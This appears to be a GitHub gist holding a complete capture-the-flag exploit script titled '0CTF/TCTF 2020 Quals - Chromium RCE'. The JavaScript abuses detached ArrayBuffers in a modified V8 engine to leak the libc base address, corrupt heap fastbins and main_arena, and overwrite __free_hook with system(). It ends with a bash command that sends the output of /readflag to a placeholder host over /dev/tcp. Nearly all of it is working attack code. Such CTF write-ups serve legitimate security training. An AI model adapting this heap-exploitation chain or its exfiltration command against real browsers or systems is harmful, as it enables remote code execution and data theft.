Skip to content

Instantly share code, notes, and snippets.

@ptr-yudai
Created June 29, 2020 03:50
Show Gist options
  • Save ptr-yudai/de039d45ea9b1befd5279fe24ec50183 to your computer and use it in GitHub Desktop.
Save ptr-yudai/de039d45ea9b1befd5279fe24ec50183 to your computer and use it in GitHub Desktop.
0CTF/TCTF 2020 Quals - Chromium RCE
/**
* Utils
*/
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
int_view[0] = this;
return float_view[0];
}
Number.prototype.f2i = function() {
float_view[0] = this;
return int_view[0];
}
print = console.log;
MAIN_ARENA = BigInt(0x3ebc40);
__FREE_HOOK = BigInt(0x3ed8e8);
__MALLOC_HOOK = BigInt(0x3ebc30);
SYSTEM = BigInt(0x4f440);
SIZE = 0x48
/**
* Exploit
*/
function pwn() {
/* leak libc base */
var evilBuf = new ArrayBuffer(0x1000);
var evil = new Float64Array(evilBuf);
var buffer = new ArrayBuffer(0x420);
var victim = new Float64Array(buffer);
%ArrayBufferDetach(buffer);
evil.set(victim);
var libc_base = evil[1].f2i() - MAIN_ARENA - BigInt(0x60);
if (Number(libc_base & BigInt(0xfff)) != 0) {
libc_base -= BigInt(0x3f0);
}
print("[+] libc = " + libc_base.toString(16));
// need to calc now as BitInt calls malloc_consolidate
target = (libc_base + MAIN_ARENA + BigInt("0x3d")).i2f();
goal = libc_base + __FREE_HOOK - BigInt("0x67");
listed_goal = []
for(var i = 0; i < 8; i++) {
listed_goal.push(Number((goal >> BigInt(i*8)) & BigInt(0xff)));
}
system = libc_base + SYSTEM;
listed_system = []
for(var i = 0; i < 8; i++) {
listed_system.push(Number((system >> BigInt(i*8)) & BigInt(0xff)));
}
print(goal.toString(16));
print(system.toString(16));
/* evict tcache */
var chunks = [
new ArrayBuffer(SIZE), new ArrayBuffer(SIZE), new ArrayBuffer(SIZE),
new ArrayBuffer(SIZE), new ArrayBuffer(SIZE), new ArrayBuffer(SIZE),
new ArrayBuffer(SIZE), new ArrayBuffer(SIZE), new ArrayBuffer(SIZE),
];
for(var i = 0; i < chunks.length; i++) {
%ArrayBufferDetach(chunks[i]);
}
var chunks = [
new ArrayBuffer(0x70), new ArrayBuffer(0x70), new ArrayBuffer(0x70),
new ArrayBuffer(0x70), new ArrayBuffer(0x70), new ArrayBuffer(0x70),
new ArrayBuffer(0x70), new ArrayBuffer(0x70), new ArrayBuffer(0x70),
];
for(var i = 0; i < chunks.length; i++) {
%ArrayBufferDetach(chunks[i]);
}
/* fastbin corruption */
var evilBuf = new ArrayBuffer(SIZE);
var evil = new Float64Array(evilBuf);
var buffer = new ArrayBuffer(SIZE);
var victim = new Float64Array(buffer);
%ArrayBufferDetach(buffer);
evil[0] = target;
victim.set(evil, 0);
/* overwrite main_arena */
var dummy = new ArrayBuffer(SIZE);
var arena = new ArrayBuffer(SIZE);
var wrap = new Uint8Array(arena);
for(var i = 0; i < 8; i++) {
wrap[0x13 + i] = listed_goal[i];
}
/* eat bins */
var dummy = [
new ArrayBuffer(0x8000),
new ArrayBuffer(0x8000),
new ArrayBuffer(0x8000),
new ArrayBuffer(0x2000),
new ArrayBuffer(0x1000)
];
var hook = new ArrayBuffer(0x1330); // hello dealloc_buffer
for(var i = 0; i < dummy.length; i++) {
%ArrayBufferDetach(dummy[i]); // top is small, give them space (><)
}
/*
var wrap = new Float64Array(hook);
wrap[0] = -1.1885958788264018e+148;
/*/
var wrap = new Uint8Array(hook);
for(var i = 0; i < 8; i++) {
wrap[0x57 + i] = listed_system[i];
}
var cmd = "/bin/bash -c '/readflag > /dev/tcp/X.X.X.X/9999'";
print(cmd);
//*/
}
pwn();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment